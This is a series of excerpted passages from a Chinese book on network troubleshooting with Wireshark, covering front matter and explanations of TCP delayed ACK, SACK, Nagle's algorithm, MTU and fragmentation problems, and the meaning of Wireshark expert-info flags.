    {"text": "目录 封面 扉页 版权 内容提要 关于作者 致谢 前言 答读者问 Linux为什么卡住了？ 像福尔摩斯一样思考 一篇关于VMware的文章 来点有深度的 三次握手的小知识 被误解的TCP 最经典的网络问题 为什么丢了单子？ 受损的帧 虚惊一场 NTLM协议分析 Wireshark的提示 工作中的Wireshark 书上错了吗？ 计算“在途字节数” 估算网络拥塞点 顺便说说LSO 熟读RFC 一个你本该能解决的问题 几个关于分片的问题 MTU导致的悲剧 迎刃而解 昙花一现的协议 另一种流控 过犹不及 治疗强迫症 技术与工龄 如何科学地推卸责任 一个面试建议 生活中的Wireshark 假宽带真相 手机抓包 微博为什么会卡 寻找HttpDNS 谁动了我的网络 一个协议的进化 假装产品经理 自学的窍门 两个项目 打造自己的分析工具 一个创业点子 信息安全技术丛书 Wireshark网络分析的艺术 林沛满 著 人民邮电出版社 北京 图书在版编目（CIP）数据 Wireshark网络分析的艺术/林沛满著.--北京：人民邮电出版社，2016.2 ISBN 978-7-115-41021-4 Ⅰ.①W… Ⅱ.①林… Ⅲ.①计算机网络—通信协议 Ⅳ.①TN915.04 中国版本图书馆CIP数据核字（2015）第290041号 ◆著 林沛满 责任编辑 傅道坤 责任印制 张佳莹 焦志炜 ◆人民邮电出版社出版发行 北京市丰台区成寿寺路11号 邮编 100164 电子邮件 315@ptpress.com.cn 网址 http://www.ptpress.com.cn 北京鑫正大印刷有限公司印刷 ◆开本：800×1000 1/16 印张：13.5 字数：251千字 2016年2月第1版 印数：1-4000册 2016年2月北京第1次印刷 定价：45.00元 读者服务热线：（010）81055410 印装质量热线：（010）81055316 反盗版热线：（010）81055315 内容提要 Wireshark是当前最流行的网络包分析工具。它上手简单，无需培训就可入门。很多棘手的网络问题遇到Wireshark都能迎刃而解。 本书挑选的网络包来自真实场景，经典且接地气。讲解时采用了生活化的语言，力求通俗易懂，以使读者在轻松阅读的过程中，既可以学到实用的网络知识，又能形成解决问题的思路。 与大多网络图书的课堂式体验不同，阅读本书的感觉更像在听技术圈的朋友分享经验，除了知识，还有心情和想法。本书的覆盖范围从日常使用的手机App，到企业级的数据中心；从对付运营商的网络劫持，到开发自己的分析工具，不一而足。无论你是系统管理员、实施工程师、技术支持、网管、培训教师，还是开发和测试人员，都适合阅读本书。 关于作者 林沛满，2005年毕业于上海交通大学，现任EMC网络存储部门的主任工程师。多年来为多个产品团队提供过技术咨询，范围包括网络、操作系统、文件系统和域等，这就是本书所涵盖的协议如此五花八门的原因。每年临近加薪的日子，他也会组织一些技术培训来提醒上司，本书的部分内容就来自这些培训资料。 平时他也写一些技术博客，你或许还能在IT168或者ChinaUnix技术社区看到它们，本书也有少数内容来自这些博客。他也是《Wireshark网络分析就这么简单》的作者。 当林先生不在工作时，大部分时间都花在了园艺花卉上，尤其是欧洲月季。 致谢 我那些没有技术背景的亲友只能读懂这一部分，所以要尽量写得好一些。 分析网络包占用了很多本应该和家人在一起的时光，因此要特别感谢他们的理解和支持。我妻子在每天忙碌的工作之余，还要弥补我的那份亲子时间，让小满享受到完美的亲情。她也是第一个审核书稿的人，包括文字和技术两方面，“贤内助”一词已经不足以形容她的贡献了。我父母分担了很多家庭劳动，否则花园里早就杂草丛生。他们可能至今还以为我坐在电脑面前就是在赶稿子。 技术圈的很多朋友帮忙检阅了本书部分章节，为我严把技术关。请给我一次招待你们吃大餐的机会。 我的老板从没有提出过KPI上的要求，因此我才有这么多时间研究工作之外的技术问题。 此外还要感谢很多读者长期的鼓励，请恕我无法一一列举你们的名字。要不是你们隔段时间就催一下，以我的拖延症不知道何日才能写完。"},
    {"text": "” ——亚马逊读者 “这本书是我2014年读过的10本好书之一，如果说我对这本书有什么不满的话，就只有一个：书写薄了，意犹未尽，读着完全不过瘾呀呀呀。 或许这本书浅显易懂、幽默风趣的语言风格让你在无障碍阅读的同时，会让你有一种这书太浅、适合初学者的感觉，但是这本书实际上是越读越有味道，我就读了好几次。"},
    {"text": "就如我常在培训课上所讲的，学会Wireshark这个软件只需要几个小时，掌握一个网络协议也用不了几天，而养成解决问题的思路却需要经年累月的练习和思考。"},
    {"text": "·《三次握手的小知识》是应某论坛网友的要求而写的TCP握手科普，分享了一些用Wireshark来处理握手问题的小经验，顺便演示了“SYN flood”攻击的网络包。"},
    {"text": "》讲述了一位销售朋友的遭遇，说明用Wireshark有助于发现产品的不足，并且找到改进之处。 如果能用Wireshark分析自家产品与竞争对手产品的网络包，一定能找到不少差别，从而改进销售策略。"},
    {"text": "·《虚惊一场》是因为一位眼尖的读者发现了我书中的一处“错误”（或者可以说是TCP的一个bug），后来研究了很久才发现是虚惊一场，不过排查过程还是很值得分享的。"},
    {"text": "又比如技术圈正在热议HttpDNS，所以我就去做了一系列实验……不同读者的关注点肯定会有所不同，如果某一篇的话题不是你感兴趣的，直接跳过也不影响后面的阅读。"},
    {"text": "原来这个行为是定义在“/etc/ssh/sshd_config”文件中的，默认配置是这样的： [root@Linux_Server～]#cat/etc/ssh/sshd_config|grep-i usedns #UseDNS yes 改成下面这样就可以解决了，不用去动DNS服务器上的配置： [root@Linux_Server～]#cat/etc/ssh/sshd_config|grep-i usedns UseDNS no 我经常说技能比知识更重要，这就是例子之一。"},
    {"text": "”用Wireshark分析网络包时也类似，我们先要在网络包中寻找各种线索，然后根据网络协议作出推理，接着刨去人为（有意或无意）掩盖的证据，才能得到最后的真相。"},
    {"text": "也就是说，其实2号包和5号包是两台不同的设备发出来的，这意味着在Web服务器和客户端之间，可能存在一台设备在代理三次握手，而能够代理握手的设备很可能是应对Syn flood攻击的防火墙。"},
    {"text": "我们先要明白什么叫延迟确认，它可以用一个简单的例子来说明：在上海的笔记本上启动Wireshark抓包，然后用Putty远程登录一台位于悉尼的服务器。"},
    {"text": "图3 启用延迟确认是有好处的，假如在这等待的200毫秒里，上海的笔记本恰好有数据要发，就可以在发数据时捎带确认信息，省去了一个纯粹的确认包。"},
    {"text": "笔记本收到11号包之后，等了41毫秒左右（即11号包和12号包之间的时间差）恰好又有一个SSH请求要发，就顺便把确认捎带过去了，因此省掉了一个纯粹的确认包。"},
    {"text": "1．客户端在同一时刻（或者说同一窗口）发送了9个TCP包，其中3、4、5号因为拥塞丢失了。 2．到达服务器的6、7、8、9号包触发了4个“Ack 3”，于是客户端快速重传3号包，此时它并不知道4号包也丢了。"},
    {"text": "3．由于服务器上启用了延迟确认，所以它收到3号包之后，等待了200毫秒才回复Ack 4。 4．客户端重传4号包，然后服务器又等待了200毫秒才回复Ack 5。 5．客户端重传5号包，然后服务器又等待了200毫秒才回复Ack 10。"},
    {"text": "既然VMware的文章说“某些提供iSCSI访问的存储阵列在出现网络拥塞时处理不当”，就说明还有些存储阵列是处理得当的，即使打开延迟确认也不怕。"},
    {"text": "我做了很多研究之后，发现它们其实就是启用了TCP SACK（Selective Acknowledgement）功能，因此在大量丢包的时候不需要每个重传包都确认一次，也就不怕延迟确认的影响了。"},
    {"text": "2．到达服务器的6、7、8、9号包触发了4个“Ack 3”。 3．由于启用了SACK，所以服务器可以在4个“Ack 3”中告知客户端哪些包已经收到了。"},
    {"text": "如图2所示，只要把“Ack=656925”和“SACK：661857-663035”这两个因素结合起来，客户端就知道排在后面的数据段661857-663035已经送达，但排在前面的656925-661856（共4932字节）反而丢失了，因此它需要重传这段数据。"},
    {"text": "图2 图3 由此可见启用SACK其实比关闭延迟确认更高效，因为它可以一次性重传多个丢包，而不用每重传一个就等待一次Ack，白费多个往返时间。"},
    {"text": "说完SACK，再讲一个更加有深度的知识点：除了大量重传之外，延迟确认还会在什么场景下严重影响性能？ 从本质上看，延迟确认之所以会在大量重传时影响性能，是因为它在该场景下会多次出现（甚至因为延迟太久而导致超时重传）。 那么还有什么场景会导致延迟确认多次出现呢？"},
    {"text": "假如这时候在服务器上启用了延迟确认，那29号和30号之间、32号与33号之间……以及38号和39号之间都需要多等待200毫秒，意味着传输效率会下降数百倍。"},
    {"text": "由于延迟确认是一个正常的TCP机制，有其积极的一面，所以Wireshark是不会把它当作问题标志出来的，而且点击Analyze→Expert Info菜单也是不会统计延迟确认的。"},
    {"text": "我几年前就因此吃过一次亏——有位同事找我分析一个性能相关的网络包，我用 Wireshark看了半天都没有发现问题，所以就斩钉截铁地说跟网络无关。"},
    {"text": "最后写分析报告的时候才想到办法：只要用“tcp.analysis.ack_rtt>0.2and tcp.len==0”过滤一下，就可以把所有超过200毫秒的确认都筛出来了（当然筛出来的不一定全都是延迟确认，追求精确的话就逐个检查）。"},
    {"text": "表达式1：(tcp.flags.reset==1)＆＆(tcp.seq==1) 从表面上看，它只是过滤出Seq号为1，且含有Reset标志的包，似乎与握手无关。"},
    {"text": "后来才注意到，很多提问者是做网站开发出身的，已经习惯了每个HTTP请求发出去，就一定会收到一个HTTP响应（见图1），因此就把这个模式套到了TCP上。 其实不止HTTP，绝大多数应用层协议都采用这种一问一答的工作方式。"},
    {"text": "至于Ack的频率，不同的操作系统有不同的偏好，比如我实验室中的Linux客户端喜欢每收到两个包Ack一次，见图2。 图2 而Windows客户端则懒得多，隔好多个包才Ack一次，见图3的97号包。 图3 这两种方式都是正常的，但Linux对流量更“大手大脚”一点，因为纯Ack也算流量的。"},
    {"text": "既然接收方不一定收到每个包都要Ack，那发送方怎么知道哪些包虽然没有相应的Ack，但其实已经送达了呢？ 记住，Ack是有累积效应的，它隐含了“在此之前的其他包也已收到”的意思，比如图3中第97号包的Ack＝65701不仅表示收到了96号包（其Seq+Len=64273+1428=65701），而且暗示之前的其他包也都收到了。"},
    {"text": "我们可以假设一个场景来类比TCP的工作方式：有大批货物要从A地运往B地。 如果只用一辆货车来运的话，马路上就只有一辆车在来回跑（回程相当于TCP的Ack包），效率确实很低，对TCP的误解可能也出自这个原因。"},
    {"text": "图2 3．选定一个从AIX发往Windows的包，然后点击Statistics→TCP StreamGraph→TCP Sequence Graph（Stevens）菜单，从图3可见，这60秒中数据传输得很均匀，没有TCP Zero Window或者死机导致的暂停。"},
    {"text": "图3 试完三板斧，我们只能得到一个结论：备份的确进行得很慢，但是仅凭Wireshark自带的分析工具找不出根本原因，这也许意味着问题不在网络上，而是在接收方或者发送方上。"},
    {"text": "因为数据是从AIX备份到Windows的，所以如果把SFTP（SSH File Transfer Protocol）包过滤出来，理论上应该看到大多数时间花在了从AIX到Windows的传输上。"},
    {"text": "传输这么少的数据量却要耗费20字节IP头+20字节TCP头，是非常浪费的，这种情况称为发送方的愚笨窗口综合症，也叫“小包问题”（small packet problem）。 为了提高传输效率，纳格提出了一个算法，用程序员喜闻乐见的方式表达就是这样的： if有新数据要发送 if数据量超过MSS（即一个TCP包所能携带的最大数据量） 立即发送 else if之前发出去的数据尚未确认 把新数据缓存起来，凑够 MSS或等确认到达再发送 else 立即发送 end if end if end if 图5所示的状况恰好就是小包问题。"},
    {"text": "Windows发了533号包之后，本应该立即发送535的，但是由于535携带的数据量小于MSS，是个小包，根据Nagle算法只好等到533被确认（即收到534）才能接着发。"},
    {"text": "这是因为抓包时间太长了，有60秒，所以0.2秒的停顿在图上看不出来。 假如只截取其中的一秒钟来分析，再点击Statistics→TCP StreamGraph→TCP Sequence Graph（Stevens）菜单，你就能看到图6的结果，0.2秒的停顿就很明显了。"},
    {"text": "根据我后来的搜索，只有斯坦福大学的博士Stuart系统地阐述过一个现实中的问题，文章在他的个人博客上http://www.stuartcheshire.org/papers/nagledelayedack/。"},
    {"text": "仔细询问之后，我把症状归纳如下：他的客户是一家超大机构，内部组织非常庞杂，所以从信息化的角度看，有些用户（user）属于数十个用户组（group）。"},
    {"text": "当这家机构试用我朋友家的NFS服务器时，发现了一个诡异的现象，就是有些文件明明允许某个用户组访问的，但是属于该组的用户却访问不了。"},
    {"text": "图2 3．用root账号在共享目录中创建了20个空的测试文件，然后把它们逐个分配给第一步提到的那20个用户组，并将权限都设为070（表示用户组拥有所有访问权限），见图3。"},
    {"text": "一番调查之后，我才发现业内普遍采用了一个颇为“机智”的办法，即把客户端的/etc/passwd和/etc/group文件复制到服务器上，需要用到用户组的时候就自己在服务器上查询，完全忽略客户端通过RPC层传过来的信息。"},
    {"text": "Errors(Since boot or last clear) ： FCS Rx ：142 Drops Rx ：0 Alignment Rx ：0 Collisions Tx ：0 Runts Rx ：0 Late CollnTx ：0 Giants Rx ：0 Excessive Colln ：0 Total Rx Errors ：154 Deferred Tx ：0 以上这套理论我一直深信不疑，没想到上周偶然抓到的一个包却差点颠覆信仰。"},
    {"text": "我仔细观察了图2方框内的几个值，发现还真的是：在UDP层看到的长度为28字节，算上IP头就是28+20=48字节，再算上帧头就是48+14=62字节。"},
    {"text": "“UDP Length：40”表明UDP层应该携带40-8（UDP头）=32字节才对，但图3底部的UDP层却只携带了20字节的数据，说明有12个字节莫名其妙地丢失了。"},
    {"text": "图3 这封来信让我十分震惊，因为该图本身演示的是FTP协议，没想到这位读者连传输层的细节都研究了，如此精细的读法让我觉得写书压力好大；"},
    {"text": "几天后我跟Patrick（是的，就是我上本书中介绍的那位奇人）聊天时提到了这件事情，老人家很快就回答，“你考虑过延迟确认对四次挥手的影响吗？"},
    {"text": "我很快也想通了：这些包是在服务器上抓的，网络上又存在延迟，所以跟客户端上看到的顺序可能不一样。 我的眼睛看着服务器上抓的包，脑子却从客户端的角度思考，所以才会被混淆。"},
    {"text": "也就是说42号包根本就没有参与四次挥手过程，它只是用来确认收到40号包而已，但由于网络延迟使它到达服务器时排在了41号包后面，所以看上去就像挥手过程的一部分。"},
    {"text": "在图5中可以看到，转发给域控的Challenge和Response和图3、图4里的是一样的。 图5 4．域控收到之后，也用hash过的用户密码对该Challenge进行加密。"},
    {"text": "域控导致的问题可能我们自己解决不了，需要联系微软技术支持，但是在此之前用Wireshark定位会快很多。 比如不久前我遇到过一个身份验证失败的案例，在Wireshark中看到的域控报错如图9所示，我们据此就能把问题定位到域控上。"},
    {"text": "在有些操作系统中，tcpdump默认只抓每个帧的前96个字节，我们可以用“-s”参数来指定想要抓到的字节数，比如下面这条命令可以抓到1000字节。"},
    {"text": "[root@my_server/]#tcpdump -i eth0 -s 1000 -w/tmp/tcpdump.cap 2．［TCP Previous segment not captured］ 在TCP传输过程中，同一台主机发出的数据段应该是连续的，即后一个包的Seq号等于前一个包的Seq+Len（三次握手和四次挥手是例外）。"},
    {"text": "比如在图2这个例子中，6号包的Seq号1449大于5号包的Seq+Len=1+0=1，说明中间有个携带1448字节的包没被抓到，它就是“Seq=1，Len=1448”。"},
    {"text": "如果该确认包含了没抓到的那个包，那就是抓包工具漏掉而已，否则就是真的丢了。 顺便分析一下图2这个网络包，它是HTTPS传输异常时在客户端抓的。 因为“Len：667”的小包（即6号包）可以送达，但“Len：1448”的大包却丢了，说明路径上可能有个网络设备的MTU比较小，会丢弃大包。"},
    {"text": "4．[TCP Out-of-Order] 在TCP传输过程中（不包括三次握手和四次挥手），同一台主机发出的数据包应该是连续的，即后一个包的Seq号等于前一个包的Seq+Len。"},
    {"text": "如图4所示，3362号包的Seq=2685642小于3360号包的Seq=2712622，所以就是乱序。 图4 小跨度的乱序影响不大，比如原本顺序为1、2、3、4、5号包被打乱成2、1、3、4、5就没事。"},
    {"text": "以图5为例，服务器收到的7号包为“Seq=29303，Len=1460”，所以它期望下一个包应该是Seq+Len=29303+1460=30763，没想到实际收到的却是8号包Seq=32223，说明Seq=30763那个包可能丢失了。"},
    {"text": "由于接下来服务器收到的10号、12号、14号也都是大于Seq=30763的，因此它每收到一个就回复一次Ack=30763，从图中可见Wireshark在这些回复上都标记了[TCP Dup ACK]。"},
    {"text": "图6 7．[TCP Retransmission] 如果一个包真的丢了，又没有后续包可以在接收方触发[Dup Ack]，就不会快速重传。 这种情况下发送方只好等到超时了再重传，此类重传包就会被Wireshark标上[TCP Retransmission]。 以图7为例，客户端发了原始包（包号1053）之后，一直等不到相应的Ack，于是只能在100多毫秒之后重传了（包号1225）。 图7 超时重传是一个非常有技术含量的知识点，比如等待时间的长短就大有学问，本文就不细说了，毕竟需要懂这个的人很少。"},
    {"text": "8．[TCP zerowindow] TCP包中的“win=”代表接收窗口的大小，即表示这个包的发送方当前还有多少缓存区可以接收数据。 当Wireshark在一个包中发现“win=0”时，就会给它打上“TCP zerowindow”的标志，表示缓存区已满，不能再接收数据了。"},
    {"text": "以图9为例，Britain一直声明它的接收窗口只有65535，意味着Middle East最多能给它发送65535字节的数据而无需确认，即“在途字节数”最多为65535字节。"},
    {"text": "前者表示这个包的发送方暂时没办法再发送数据了，后者表示这个包的发送方暂时没办法再接收数据了，也就是说两者都意味着传输暂停，都必须引起重视。"},
    {"text": "10．[TCP segment of a reassembled PDU] 当你收到这个提示，肯定已经在Edit→Preferences→ Protocols→TCP菜单里启用了Allow sub dissector to reassemble TCP streams。"},
    {"text": "图11 仔细对比图10和图11，你会发现Read Response在图10中被算在了48号包头上，而在图11中被算到了39号包头上。 这样会带来一个诡异的结果：图10的读响应时间为2.528毫秒（38号包和48号包的时间差），而图11的读响应时间为2.476毫秒（38号包和39号包的时间差）。"},
    {"text": "比如在图12中，由于上海发往北京的一些包被分片传输，且有一部分在路上丢失了，所以北京方无法组装起来，便只好用这个ICMP报错告知上海方。"},
    {"text": "前4篇的内容有很强的相关性，之所以分开来写而不是合成一篇，是为了给读者循序渐进的体验。 其他每一篇都比较独立，所以遇到自己不喜欢的内容可以直接跳过，这不会影响后面的阅读。"},
    {"text": "因为本书介绍的是Wireshark，而用Wireshark打开一个包只能看到一边的情况，所以我宁愿只站在其中一边的角度来画图，这样会更接近在Wireshark中看到的样子。"},
    {"text": "假如网络上只有一个TCP连接在通信，那么还可以通过带宽和延迟来计算最多能承载多少在途字节数。 而实际环境往往如图2所示，同一条网络路径是由多台主机之间共享的，根本不知道多少比例的带宽是分配给某个TCP连接。"},
    {"text": "由于服务器在该点之前收到8号包并立即回复了“Ack 9”（表示9号之前的包都收到了），所以在途字节数为0。 也就是说，在数据接收方抓的包里是看不到在途字节数的，没有分析意义。 接着我在图3的客户端随机挑选一个时间点并标志为T2，由于在该时间点之前10号包已经发出去，但收到的“Ack 7”只表示7号之前的包都收到了，也即意味着7、8、9、10号包都还没有确认，所以在途字节数就是这4个包所携带的数据量。 这说明在数据发送方抓到的包才能用来分析在途字节数。"},
    {"text": "图4 在该时间点之前客户端发送的是10号包，即“Seq=265248，Len=180”字节，表示序号在265248+180=265428之前的字节已经发送出去了。"},
    {"text": "那么在途字节数就是265428−3284=262144字节。 如果要归纳出一条公式，可以表示成： 在途字节数=Seq+Len-Ack 其中Seq和Len是来自上一个数据发送方的包，而Ack则来自上一个数据接收方的包。 我们再拿第0.500000秒来练习一下，套用公式可以算出在途字节数应该是266816+361−5033=262144，与第0.400000秒的一样多。 理解了在途字节数的计算方式，就可以翻到下一篇《估算网络拥塞点》了。"},
    {"text": "这个话题就是网络拥塞点——当发送方一口气向网络中注入大量数据时，就可能超过该网络的承受能力而导致拥塞，这个足以触发拥塞的数据量就称为拥塞点 [2] 。"},
    {"text": "所以大致可以认为，发生拥塞时的在途字节数即是该时刻的网络拥塞点。 明白了这一点，估算拥塞点就可以简化成找出拥塞时刻的在途字节数了。"},
    {"text": "因此我们可以根据这个规律来寻找：先从Wireshark中找到一连串重传包中的第一个，再根据该重传包的Seq值找到其原始包，最后计算该原始包发送时刻的在途字节数。"},
    {"text": "图4 5．利用上文《计算“在途字节数”》的公式，可知当时的在途字节数为1012852（No.1053的Seq）+816（No.1053的Len）-910546（No.1051的Ack）=103122字节。"},
    {"text": "请看图3，我把过滤条件改成“tcp.seq<349974”，发现客户端最后发送的一个包是“Seq=348586，Len=2776”，正好包含了我们想要寻找的原始包“Seq==349974，Len=1388”的所有字节。"},
    {"text": "传统的网络工作方式是这样的：应用层把产生的数据交给TCP层，TCP层再根据MSS大小进行分段（由CPU负责），然后再交给网卡。 而启用LSO之后，TCP层就可以把大于MSS的数据块直接传给网卡，让网卡来负责分段工作了。"},
    {"text": "我也有过多次利用LSO做性能调优的经历，比如VMware上的虚拟网卡有时候是性能瓶颈，关闭LSO反而性能会更好。 LSO的配置方式很简单，Windows上只需要在网卡的高级属性中找到Large Send Offload项就行了（见图4）。"},
    {"text": "说到这里就需要补充点基础知识了：决定客户端发送窗口的因素有两个，分别为网络上的拥塞窗口（Congestion Window，缩写为cwnd）和服务器上的接收窗口。"},
    {"text": "在RFC5681中讲到了多种cwnd的计算方式，其中有一种是这样的： Another common formula that a TCP MAY use to update cwnd during congestion avoidance is given in equation (3)： cwnd+=MSS*MSS/cwnd (3) 单看公式不太容易理解，用人话解释一下就是这样的：假如客户端的当前cwnd大小为n个MSS，它就会在一个窗口里发出去n个包，然后期望收到n个Ack。 每收到1个Ack它就把cwnd增加“MSS*MSS/cwnd”，于是收到n个Ack之后就总共增加了“MSS*(n*MSS/cwnd)”。 由于cwnd等于n个MSS，所以括号里的(n*MSS/cwnd)大约等于1，从而实现了每经过1个RTT就增加1个MSS的目的。 假如客户端采用的就是这个算法，那的确是可能导致cwnd增长过慢的，因为它只有在收到n个Ack的情况下才能按预期增长，而世界上并非每台服务器都是收到n个数据包就回复n个Ack的。 我实验室中的Linux服务器就是累计收到两个数据包才Ack一次，这就意味着客户端每经过1个RTT只能增长1/2个MSS。"},
    {"text": "几番搜索之后，我们发现这台服务器的网卡上启用了Large Receive Offload（LRO），会积累多个TCP包再集中处理，因此Ack数就比别的服务器少很多，这也解释了为什么其他服务器没有性能问题。"},
    {"text": "图3 以上的初步分析表明数据是通过UDP传输的，而根据UDP在广域网中一贯的不靠谱表现（并不是说UDP这个协议本身不靠谱，而是很多基于UDP的应用程序没有做好性能优化），我认为这一点需要着重研究。"},
    {"text": "图4 这个报错很常见，在1981年公布的RFC 792就有介绍了： If a host reassembling a fragmented datagram cannot complete the reassembly due to missing fragments within its time limit，it discards the datagram，and it may send a time exceeded message.（当接收方因为分片丢失而无法按时完成数据包的重组时，它可以放弃并回复一个超时消息。"},
    {"text": "比如同样大小的数据块分成6个TCP包传输，同样只丢失了最后一个，重传过程如图6所示。 图6 可见TCP只需要重传丢失的那一个包，而不是所有包，所以效率比重传分片高多了。"},
    {"text": "刨去20字节的头部，一个IP包最多可以携带1500-20=1480字节的数据。 当要传输的数据块超过1480字节时，网络层就不得不把它分片，封装成多个网络包。"},
    {"text": "比如启用巨帧之后的MTU是9000字节，那从发送方出来的包就有9000字节，万一经过一个MTU只有1500字节的网络设备，还是可能被重新分片甚至丢弃。"},
    {"text": "总而言之，目前发送方没有一个很好的机制来确定最佳分片大小，所以实施和运维人员配置MTU时必须慎之又慎，尽量使网络中每个设备的MTU保持一致。"},
    {"text": "请看图2所示的最后一个分片，也即第29号包，它包含了一个“More fragments=0”的Flag，表示它是最后一个分片，因此接收方可以开始重组了。 图2 而其他的分片，比如图3的28号包却包含了一个“More fragments=1”的Flag，因此接收方知道后续还有更多分片，所以先缓存着不重组。"},
    {"text": "有的时候TCP头不只20字节，所以会侵占一些MSS的空间，比如图5的例子中就占用12字节作为TCP Options，那传输层真正用来承载数据的就剩下1500-20-20-12=1448字节了。"},
    {"text": "这个问题其实在我的上一本书中提到过，TCP建立连接时必须先进行三次握手（如图6所示），在前两个握手包中双方互相声明了自己的MSS，客户端声明了MSS=8960，服务器声明了MSS=1460。"},
    {"text": "而采用TCP传输时，出现丢包就一定要重传，重传就会带来延迟。 这是TCP与生俱来的特点，即使应用层想忽略丢包都没办法。 前文说过TCP的优点是可靠，有丢包重传机制，这个优点在语音传输时就变成了缺点。"},
    {"text": "图3 由于ICMP头为8字节，IP头为20字节，所以第一个ping请求在网络层的长度为1472+8+20=1500字节，第二个ping请求则为1473+8+20=1501字节。 我的路由器MTU是1500字节，不难理解第一个ping请求的长度没有超过MTU，所以可以传输成功； 而第二个ping请求的长度超过了路由器出口的MTU，又不允许被切分，所以不能传输成功。"},
    {"text": "在图3底部可以看到路由器提示了“Packet needs to be fragmented but DF set”。 这个过程的网络包可以从图4中看到，请注意最后一个包是路由器回复的“Fragmentation needed”，而不是服务器回复的。"},
    {"text": "这个包是在服务器上抓的（因为客户端死机，根本没法抓），如图5所示，服务器回复的包“Seq=193，Len=1460”在持续重传，但客户端一直没有确认，似乎是发生丢包了。"},
    {"text": "案例2 客户端的MTU为1500字节，服务器端的MTU为9000字节，平时连接正常。 运维人员听说两端的MTU最好一致，所以把客户端的MTU提高到9000字节，没想到连接反而出问题了。"},
    {"text": "原先客户端和服务器在三次握手时，双方会“协商”使用一个1460字节（MTU-TCP头-IP头）的MSS，所以可以顺利通过那个MTU为1500的网络设备。 如果两端都是9000字节了，那三次握手时就会得到8960字节的MSS，因此通不过那个网络设备。"},
    {"text": "有一个可能是端口被防火墙封掉，但那样的话之前的其他Kerberos包（比如AS-REQ）也得不到回复，不可能走到TGS-REQ这一步，因此防火墙可以排除。 还有一个可能就是MTU导致的丢包了，假如网络路径上有个交换机的MTU偏小，大包无法通过就可能出现此症状。 仅从Wireshark中我们无法判断是客户端发给KDC时丢包了，还是KDC回复客户端时丢包了，只能先试着把客户端的MTU改小一点，问题果然就消失了。 其实利用“ping-f-l<字节数>”试探出路径上的最小MTU也可以，前提是网络中没有禁用ICMP。"},
    {"text": "但是5号包却没能到达服务器，因此服务器收不到对4号包的确认，不得不选择重传。 这就很奇怪了，既然3号包可以到达服务器，说明不存在路由交换或者防火墙方面的障碍，为什么5号包就到达不了呢？"},
    {"text": "先看看图2中的3号包，是从客户端发到服务器的MAC地址00:15:5d，与ARP中看到的地址一致。 图2 再看图3中4号包的详情，竟然是从服务器的MAC地址ec:b1:d7发出来的，而不是之前看到的那个00:15:5d。"},
    {"text": "明明能通过ARP获得服务器的MAC地址（即00:15:5d），但一看到对方的发来的包里MAC有变化（即变成ec:b1:d7），就立即回复给这个新MAC。"},
    {"text": "如图2所示 [4] ，当时的网络存储是用多个硬盘组成LUN（即一层虚拟的存储设备），然后再在LUN上创建文件系统，供以太网上的NFS或CIFS客户端访问。"},
    {"text": "图5 FMP刚面世的时候颇受欢迎，因为性能提升太明显了，连中国最顶尖的科研机构和证券公司都在用它，我刚毕业时还用Wireshark帮它们分析过几次FMP包。"},
    {"text": "改造前的水龙头流速和漏斗的出口流速保持一致，所以虽然不快但也不至于溢出。 把水龙头改造变大之后，其流速超过了漏斗出口的流速，因此过了一段时间水就会溢出漏斗。"},
    {"text": "其实也不一定，假如有10个客户端同时从服务器下载数据，那在服务器上用万兆网络就很合适，因为这些客户端可以平摊流量，数据就不会拥堵在交换机上。"},
    {"text": "该实验环境中的最大发送窗口是65535字节，当我只启用一个TCP连接时，“中东”很快就发送了65535字节的“在途字节数”，即耗光了发送窗口，因此Wireshark 提示［TCP window Full］（见图6）。"},
    {"text": "前者表示这个包的发送方意识到“在途字节数”已经达到对方所声明的接收窗口，不能再发了； 而后者表示这个包的发送方意识到自己的缓存区已经满了，无法接收更多数据。"},
    {"text": "启用3个TCP连接时的性能如图7所示，为5.055 Mbit/s，跟理想速度很接近（该公司租用的带宽确实小了点），此时在包里也没有看到重传。 图7 而当连接数增加到50个时，就降到了图8所示的4.081 Mbit/s了，差不多20%的幅度，同时也出现不少重传（重传图就不贴出来了）。"},
    {"text": "看到这里，你可能会想起在中国很流行的多线程下载工具，其原理是否也是通过提高链路利用率来提升速度呢？ 比如家里装了百兆宽带，用单线程下载电影的时候只有100KB/s，用了双线程就能接近200KB/s了。 这个原理其实和本文所分析的很不一样，因为它的性能瓶颈并不在链路或者网络协议上，而是服务器给每个连接所设置的速度限额。"},
    {"text": "治疗强迫症 作为理性程度排行第二的天蝎座男生，我当然不相信星座学说，更无法理解处女座们为什么宣称自己有强迫症。 其实即使是轻度的强迫症都非常痛苦，经常遭受到各种细节的折磨，尤其是我这种连技术领域都逃不过的患者。"},
    {"text": "2．小明写上一句“我是小明”并保存，这时候小红的NotePad++弹出图1所示的提示。 图1 3．小红点击Yes加载了小明编辑过的内容，再写上一句“我是小红”并保存。"},
    {"text": "我在小红的电脑上启动抓包，发现当小明点击保存时，文件服务器给小红的电脑发了一个Notify Response，即通知她文件abc.txt被改动了（见图2右下角）。"},
    {"text": "比如说，小明可以在Excel的选项窗口中把用户名改成大老板的名字（见图6底部），这样其他人打开该文件时就会以为是大老板正在编辑了，只好干等着。"},
    {"text": "请看图1底部的Wireshark提示：“window size scaling factor：-1(unknown)”，我当时也不懂是什么意思，只是觉得有必要搞清楚，查了很多文档后才知道里头大有文章。"},
    {"text": "理论说起来有点复杂，我们举个实际的例子，图2是三次握手的过程，服务器在2号包中声明它的Window Scale为3，于是客户端收到后就把3作为2的指数，算得2 3 等于8。"},
    {"text": "比如在接下来的3569号包中（见图3），服务器声明其接收窗口为16384，那客户端就知道其真实的接收窗口应该是16384×8=131072，从而突破了65535的限制。"},
    {"text": "Wireshark也是根据三次握手里看到的Window Scale值帮我们计算的，然后在括号中提示出来（注意，当你在Wireshark里看到一个括号，那往往意味着其内容是附加提示，而不是网络包本身的内容）。"},
    {"text": "不难想象，因为Wireshark无从知晓Window Scale的值，所以就无法计算出系数，只好显示出没有系数时的大小，图1中的“window size scaling factor：-1(unknown)”正好提示了这种情况。 这也说明图1显示的“window size value：16384”是因为Wireshark只看到了这个值，但不意味着真实的接收窗口就是16384字节。"},
    {"text": "假如这位工程师和一个喜欢动脑筋的应届生应聘同一职位，我会毫不犹豫地选择应届生，因为专业知识容易补，钻研精神却很难养成，很可能一年后两个人的水平就差不多，再过一年就被反超了。"},
    {"text": "图2 客户斩钉截铁，“你看一目了然吧，Wireshark上带RST标志的包明显都是从灾备服务器发出来的，所以就是你们的设备有问题，应该由你们来负责。"},
    {"text": "” 一个面试建议 在应聘一个技术职位之前，做好充分的准备无疑能大大提高成功率。 这里所说的准备并不是指押题，因为有经验的面试官往往准备了海量的题库，押中的概率太低。"},
